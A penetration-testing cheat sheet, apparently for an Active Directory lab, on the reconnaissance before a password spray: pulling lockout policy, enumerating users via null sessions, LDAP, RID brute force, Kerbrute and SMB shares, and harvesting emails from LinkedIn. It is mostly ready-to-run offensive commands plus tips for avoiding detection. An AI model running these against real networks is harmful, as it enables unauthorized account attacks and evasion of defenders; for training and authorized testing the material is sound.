Password Policy & User Lists

Before you spray, two things need to be true: you know the lockout threshold, and you have a clean user list. Spraying blind locks accounts, burns the engagement, and gets the SOC’s attention for nothing.

Order of operations

  1. Pull the password policy (lockout threshold, observation window).
  2. Build a user list.
  3. Filter the list by badPwdCount so you never touch an account one bad guess from lockout.
  4. Pick 1–2 passwords. Spray. Wait longer than the observation window between rounds.

Pulling the password policy

From Linux — with creds

nxc smb 172.16.5.5 -u moh -p 'P@ssw0rd!' --pass-pol
crackmapexec smb 172.16.5.5 -u moh -p 'P@ssw0rd!' --pass-pol

From Linux — null session / anonymous

Still common on legacy DCs and misconfigured member servers.

# rpcclient
rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
rpcclient $> getdompwinfo
 
# enum4linux-ng
enum4linux-ng -P 172.16.5.5 -oA ilfreight-passpol

From Linux — LDAP anonymous bind

ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" \
  | grep -m1 -B10 pwdHistoryLength

Fields you care about:

LDAP attributeMeaning
minPwdLengthMinimum password length
lockoutThresholdBad attempts before lockout (0 = never)
lockOutObservationWindowWindow for counting bad attempts
lockoutDurationHow long an account stays locked
pwdHistoryLengthPassword reuse depth
pwdPropertiesComplexity flags

From Windows

net accounts /domain
Import-Module .\PowerView.ps1
Get-DomainPolicy
(Get-DomainPolicy).SystemAccess

Fine-grained password policies

Default Domain Policy is just the baseline. Service accounts, admins, and specific groups can live under PSOs with laxer or stricter rules. Check with Get-ADFineGrainedPasswordPolicy or LDAP for msDS-PasswordSettings objects.

Building the user list

Null session → RPC

rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
 
# One-liner via enum4linux
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

NetExec / CrackMapExec

nxc smb 172.16.5.5 -u '' -p '' --users
nxc smb 172.16.5.5 -u moh -p 'P@ssw0rd!' --users

Why NetExec beats raw rpcclient

It prints badPwdCount and badPwdTime alongside each user — strip anyone one hit from lockout before you spray.

RID brute via lookupsid.py

Works when enumdomusers is blocked but the server still answers SID lookups. Ancient, reliable.

lookupsid.py anonymous@172.16.5.5 20000 | tee rid.out
grep "SidTypeUser" rid.out | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
 
# With creds
lookupsid.py INLANEFREIGHT/moh:'P@ssw0rd!'@172.16.5.5 20000

LDAP anonymous bind

ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" \
  "(&(objectclass=user))" sAMAccountName \
  | grep sAMAccountName: | cut -f2 -d" " > users.txt
 
# Or with windapsearch
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

Kerbrute userenum (no creds, quiet)

Kerberos pre-auth doesn’t log failures — perfect for user discovery.

kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 \
  /opt/jsmith.txt -o valid_users.txt
 
# Try both common first-last schemas
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith2.txt

Lists worth keeping on disk:

  • jsmith.txt — flast pattern
  • jsmith2.txt — firstlast pattern
  • statistically-likely-usernames repo for the rest

Scraping users from SMB shares

Once you’ve got any foothold-level auth (even guest on a share), grep file paths and open docs for usernames.

smbmap -H 172.16.5.5 -u guest -p '' -R --no-banner
smbmap -H 172.16.5.5 -u moh -p 'P@ssw0rd!' -R 'Users'    # pulls home dir names
 
smbclient -N //172.16.5.5/Public
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Home directory names on \\DC\Users$ or similar = authoritative sAMAccountName list.

Email harvesting → username schema

Order of inference:

  1. Harvest emails: hunter.io, phonebook.cz, LinkedIn → linkedin2username.
  2. Observe the pattern: john.smith@, jsmith@, smith.j@, john_smith@.
  3. Convert emails to sAMAccountName by stripping domain and applying the observed rule.
  4. Validate with kerbrute userenum.
# Generate every plausible combination from a LinkedIn pull
linkedin2username -c "Inlanefreight" -n inlanefreight.local
# produces jsmith.txt, jsmith2.txt, jsmith3.txt, etc.

Checklist

  • Password policy pulled (creds, null session, or LDAP — whichever works)
  • Fine-grained password policies (PSOs) checked
  • Lockout threshold & observation window noted
  • User list built from at least two independent sources
  • badPwdCount filtered — no account within 2 of threshold
  • Username convention confirmed against known-valid user via Kerbrute
  • List deduplicated, lowercased, machine accounts ($) stripped